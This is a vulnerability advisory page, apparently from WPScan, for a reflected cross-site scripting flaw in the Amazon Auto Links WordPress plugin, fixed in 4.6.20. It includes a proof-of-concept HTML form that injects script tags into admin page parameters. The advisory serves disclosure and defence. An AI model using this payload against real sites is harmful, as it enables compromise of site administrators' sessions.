Amazon Auto Links < 4.6.20 – Reflected Cross-Site Scripting | Plugin Vulnerabilities

Description

The plugin does not escape some parameters before outputting them back in attributes in an admin page, leading to Reflected Cross-Site Scripting issues

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/edit.php?post_type=amazon_auto_links&page=aal_templates" method="POST">
      <input type="hidden" name="page" value='"><script>alert(/XSS-page/)</script>' />
      <input type="hidden" name="tab" value='"><script>alert(/XSS-tab/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

amazon-auto-links

Fixed in 4.6.20

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

WPScanTeam

Verified

Yes

WPVDB ID

28295373-ce4c-4c8b-88c8-d866fa1eacd0

Timeline

Publicly Published

2021-08-16 (about 4 years ago)

Added

2021-08-16 (about 4 years ago)

Last Updated

2021-08-16 (about 4 years ago)

Other

Published

Title

Published

2022-06-28

Title

Request a Quote < 2.3.9 - Admin+ Stored Cross-Site Scripting

Published

2021-06-21

Title

Browser Screenshots < 1.7.6 - Contributor+ Stored XSS

Published

2024-10-17

Title

Debrandify · Remove or Replace WordPress Branding < 1.1.3 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File Upload

Published

2025-06-12

Title

Telegram for WP <= 1.6.1 - Authenticated (Admin+) Stored Cross-Site Scripting

Published

2025-09-29

Title

SurveyAnyplace Plugin <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting